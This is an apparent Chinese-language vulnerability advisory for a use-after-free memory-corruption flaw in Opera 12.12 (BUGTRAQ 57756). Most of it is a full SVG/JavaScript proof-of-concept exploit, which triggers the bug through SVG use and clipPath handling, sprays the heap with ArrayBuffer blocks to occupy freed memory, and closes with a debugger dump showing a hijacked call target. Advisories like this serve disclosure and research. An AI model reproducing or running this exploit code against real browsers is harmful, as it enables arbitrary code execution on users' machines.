发布日期：2013-02-05
更新日期：2013-02-28
受影响系统：
Opera Software Opera Web Browser
描述：
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BUGTRAQ ID: 57756
Opera为来自挪威的一个浏览器，具有速度快、节省系统资源、订制能力强、安全性高以及体积小等特点，目前已经是最受欢迎的浏览器之一。
Opera Web Browser 12.12及其他版本在实现上存在远程内存破坏漏洞，攻击者可利用此漏洞在受影响应用中执行任意代码。
<*来源：Cons0ul
*>
测试方法：
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警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w0.org/1999/xlink">
<g>
<defs>
<clipPath clip-path="url(#clip-rect)">
</clipPath>
<clipPath>
</clipPath>
</defs>
<circle x="10" y="10" fill="green" />
</g>
<script><![CDATA[
//Author=Cons0ul
var b = new Array();
// this is our spray function where spray is allocated on LFH with exact size 0x78
// so 0x78 size of block is created so far we are creating 0x50000 blocks
// to create 0x78 blocks we are using ArrayBuffer();
function feng_shui(){
for(i=0;i<1000;i++)window.opera.collect(); // <----- garbage collection
for(i=0;i<0x50000;i++){
payload = new ArrayBuffer(0x78) // use 0xb0 for 64bit machine
payload[0]=0x6c
payload[1]=0x03
payload[2]=0xfe
payload[3]=0x7f
b.push(payload)
}
}
// bug is use after free in handling of (use tag + clippath) witch try to access freed object
//
document.getElementById('rect').setAttribute('clip-path',"url(#clip-circle)");
var c = document.createElement('use');
c.setAttribute("xlink:href","rect")
feng_shui();
document.getElementById('clip-rect').appendChild(c);
document.getElementById('rect').style.clipPath="url(#clip-circle)" // <----- bug
window.opera.collect() // <------ gc() frees the allocation
feng_shui(); // <------------ we allocate our code at freed memory
// at the end it tries freed block witch contains our data
window.location.href=window.location.href;
/*
idc !heap -p -a ecx
address 077c45e0 found in
_HEAP @ b40000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
077c45d8 0010 0000 [00] 077c45e0 00078 - (free)
PS C:\Users\cons0ul> idc db ecx
077c45e0 92 48 fe 7f 00 00 00 00-00 00 00 00 00 00 00 00 .H..............
077c45f0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
077c4600 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
077c4610 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
077c4620 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
077c4630 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
077c4640 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
077c4650 00 00 00 00 00 00 00 00-89 d0 6a 5b 00 00 00 88 ..........j[....
PS C:\Users\cons0ul> idc r
eax=7ffe4892 ebx=00000001 ecx=077c45e0 edx=00000000 esi=0372e590 edi=01d40048
eip=6b8c998b esp=0013e334 ebp=00000000 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
Opera_6b430000!OpGetNextUninstallFile+0xf8583:
6b8c998b ff5008 call dword ptr [eax+8] ds:0023:7ffe489a=????????
*/
]]></script>
</svg>
建议：
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厂商补丁：
Opera Software
--------------
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